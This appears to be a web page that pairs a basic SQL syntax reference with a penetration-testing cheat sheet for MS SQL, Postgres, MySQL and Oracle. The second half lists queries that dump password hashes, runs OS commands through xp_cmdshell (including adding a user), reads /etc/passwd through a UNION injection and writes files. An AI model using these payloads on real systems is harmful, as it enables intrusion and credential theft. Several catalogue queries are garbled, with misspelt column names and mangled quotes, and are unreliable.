Helpful Links

SQL Commands
w3schools.com SQL Quick Reference
Oracle DB Reference

SQL Commands

    

      
SQL Statement
      
Syntax
    
    

      
AND / OR
      
SELECT column_name(s)

  FROM table_name

  WHERE condition

  AND|OR condition
    
  

      
ALTER TABLE
      
ALTER TABLE table_name 

  ADD column_name datatype
or
  
ALTER TABLE table_name 

  DROP COLUMN column_name
    
  

      
AS (alias)
      
SELECT column_name AS column_alias

  FROM table_name
or
  
SELECT column_name

  FROM table_name  AS table_alias
    
  

      
BETWEEN
      
SELECT column_name(s)

  FROM table_name

  WHERE column_name

  BETWEEN value1 AND value2
    
  

      
CREATE DATABASE
      
CREATE DATABASE database_name
    
  

      
CREATE TABLE
      
CREATE TABLE table_name

  (

  column_name1 data_type,

  column_name2 data_type,

  column_name3 data_type,

  ...

  )
    
  

      
CREATE INDEX
      
CREATE INDEX index_name

  ON table_name (column_name)
or
  
CREATE UNIQUE INDEX index_name

  ON table_name (column_name)
    
  

      
CREATE VIEW
      
CREATE VIEW view_name AS

  SELECT column_name(s)

  FROM table_name

  WHERE condition
    
  

      
DELETE
      
DELETE FROM table_name

  WHERE some_column=some_value
or
  
DELETE FROM table_name 

  (Note: Deletes the entire table!!)
  
DELETE * FROM table_name 

  (Note: Deletes the entire table!!)
    
  

      
DROP DATABASE
      
DROP DATABASE database_name
    
  

      
DROP INDEX
      
DROP INDEX table_name.index_name (SQL  Server)

  DROP INDEX index_name ON table_name (MS Access)

  DROP INDEX index_name (DB2/Oracle)

  ALTER TABLE table_name

  DROP INDEX index_name (MySQL)
    
  

      
DROP TABLE
      
DROP TABLE table_name
    
  

      
EXISTS
      
IF EXISTS (SELECT * FROM table_name WHERE id = ?)
BEGIN
--do   what needs to be done if exists
END
ELSE
BEGIN
--do what needs   to be done if not
END
    
  

      
GROUP BY
      
SELECT column_name,  aggregate_function(column_name)

  FROM table_name

  WHERE column_name operator value

  GROUP BY column_name
    
  

      
HAVING
      
SELECT column_name,  aggregate_function(column_name)

  FROM table_name

  WHERE column_name operator value

  GROUP BY column_name

  HAVING aggregate_function(column_name) operator value
    
  

      
IN
      
SELECT column_name(s)

  FROM table_name

  WHERE column_name

  IN (value1,value2,..)
    
  

      
INSERT INTO
      
INSERT INTO table_name

  VALUES (value1, value2, value3,....)
or
  
INSERT INTO table_name

  (column1, column2, column3,...)

  VALUES (value1, value2, value3,....)
    
  

      
INNER JOIN
      
SELECT column_name(s)

  FROM table_name1

  INNER JOIN table_name2 

  ON table_name1.column_name=table_name2.column_name
    
  

      
LEFT JOIN
      
SELECT column_name(s)

  FROM table_name1

  LEFT JOIN table_name2 

  ON table_name1.column_name=table_name2.column_name
    
  

      
RIGHT JOIN
      
SELECT column_name(s)

  FROM table_name1

  RIGHT JOIN table_name2 

  ON table_name1.column_name=table_name2.column_name
    
  

      
FULL JOIN
      
SELECT column_name(s)

  FROM table_name1

  FULL JOIN table_name2 

  ON table_name1.column_name=table_name2.column_name
    
  

      
LIKE
      
SELECT column_name(s)

  FROM table_name

  WHERE column_name
  LIKE pattern
    
  

      
ORDER BY
      
SELECT column_name(s)

  FROM table_name

  ORDER BY column_name [ASC|DESC]
    
    

      
SELECT
      
SELECT column_name(s)

  FROM table_name
    
    

      
SELECT *
      
SELECT *

  FROM table_name
    
    

      
SELECT DISTINCT
      
SELECT DISTINCT column_name(s)

  FROM table_name
    
    

      
SELECT INTO
      
SELECT *

  INTO new_table_name [IN externaldatabase]

  FROM old_table_name
or
  
SELECT column_name(s)

  INTO new_table_name [IN externaldatabase]

  FROM old_table_name
    
    

      
SELECT TOP
      
SELECT TOP number|percent column_name(s)

  FROM table_name
    
    

      
TRUNCATE TABLE
      
TRUNCATE TABLE table_name
    
  

      
UNION
      
SELECT column_name(s) FROM table_name1

  UNION

  SELECT column_name(s) FROM table_name2
    
  

      
UNION ALL
      
SELECT column_name(s) FROM table_name1

  UNION ALL

  SELECT column_name(s) FROM table_name2
    
  

      
UPDATE
      
UPDATE table_name

  SET column1=value, column2=value,...

  WHERE some_column=some_value
    
    

      
WHERE
      
SELECT column_name(s)

  FROM table_name

  WHERE column_name operator value
    

Microsoft SQL

  
SELECT @@version
DB version
  
EXEC xp_msver
Detailed version info
  
EXEC master..xp_cmdshell 'net user'
Run OS Command
  
SELECT HOST_NAME()
Hostname & IP
  
SELECT DB_NAME ()
Current DB
  
SELECT name FROM master..syslogins 
List DBs
  
SELECT user_name() 
Current User
  
SELECT name FROM master.syslogins
List Users
  
SELECT name FROM master.sysobjects WHERE xtype='U';
List tables
  
SELECT name FROM syscolumns WHERE id=(SELECT id from sysobjects WHERE name='mytable');
List columns 

SYSTEM TABLE CONTAINING INFO ON ALL TABLES

SELECT TOP 1 TABLE_NAME FROM INFORMATION SCHEMA.TABLES

LIST ALL TABLES/COLUMN'S

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

PASSWORD HASHES ( 2005 )

SELECT name, password_hash FROM master.sys.sql_logins

Top - Home

POSTGRES

  
SELECT version();
DB version
  
SELECT inet_server_addr()
Hostname and IP
  
SELECT current_database();
Current DB
  
SELECT datname FROM pg_database;
List DBs
  
SELECT user;
Current user
  
SELECT username FROM pg_user;
List users
  
SELECT username,passwd FROM pg_shadow
List password hashes

List Columns

SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, 
pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND
(A.attrelid=C.old) AND (A.atttypeid=T.old) AND (A.attnum>0) AND (NOT 
A.attisdropped) AND (N.nspname ILIKE `public')

List Tables

SELECT c.release FROM pg_catalog.pg_class c LEFT JOIN
pg_catalog.pg_namespace n ON n.old = c.relnamespace WHERE c.relkind IN
(`r',") AND n.nspname NOT IN (`pg_catalog', `pg_toast') AND
pg_catalog.pg_table_is_visible(c.old)

Top - Home

MySQL

  
SELECT @@version;
DB version
  
SELECT @@hostname;
Hostname & IP
  
SELECT database();
Current DB
  
SELECT distinct(db) FROM mysql.db;
List DBs
  
SELECT user();
Current user
  
SELECT user FROM mysql.user;
List users
  
SELECT host,user,password FROM mysql.user;
List password hashes

LIST ALL TABLES & COLUMNS

SELECT table schema, table name, column name FROM 
information schema.columns WHERE 
table schema != 'mysql' AND table schema != = 'information schema'

EXECUTE OS COMMAND THROUGH MYSQL

osql -S [ip],[port] -U sa -P pwd -Q "exec xp_cmdshell 'net user /add user pass'" 

READ WORLD-READABLE FILES

_.' UNION ALL SELECT LOAD FILE(/etc/passwd');

WRITE TO FILE SYSTEM

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; 

Top - Home

Oracle

  
SELECT * FROM v$version;
DB version
  
SELECT version FROM v$instance;
DB version
  
SELECT instance name FROM v$instance;
Current DB
  
SELECT name FROM v$database;
Current DB
  
SELECT DISTINCT owner FROM all tables;
List DBs
  
SELECT user FROM dual;
Current user
  
SELECT username FROM all users ORDER BY username;
List users
  
SELECT column name FROM all_ tab_ columns;
List columns
  
SELECT table name FROM all tables; 
List tables
  
SELECT name, password, astatus FROM sys.user$;
List password hashes

LIST DBAs

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_PTION = 'YES'; 

Top - Home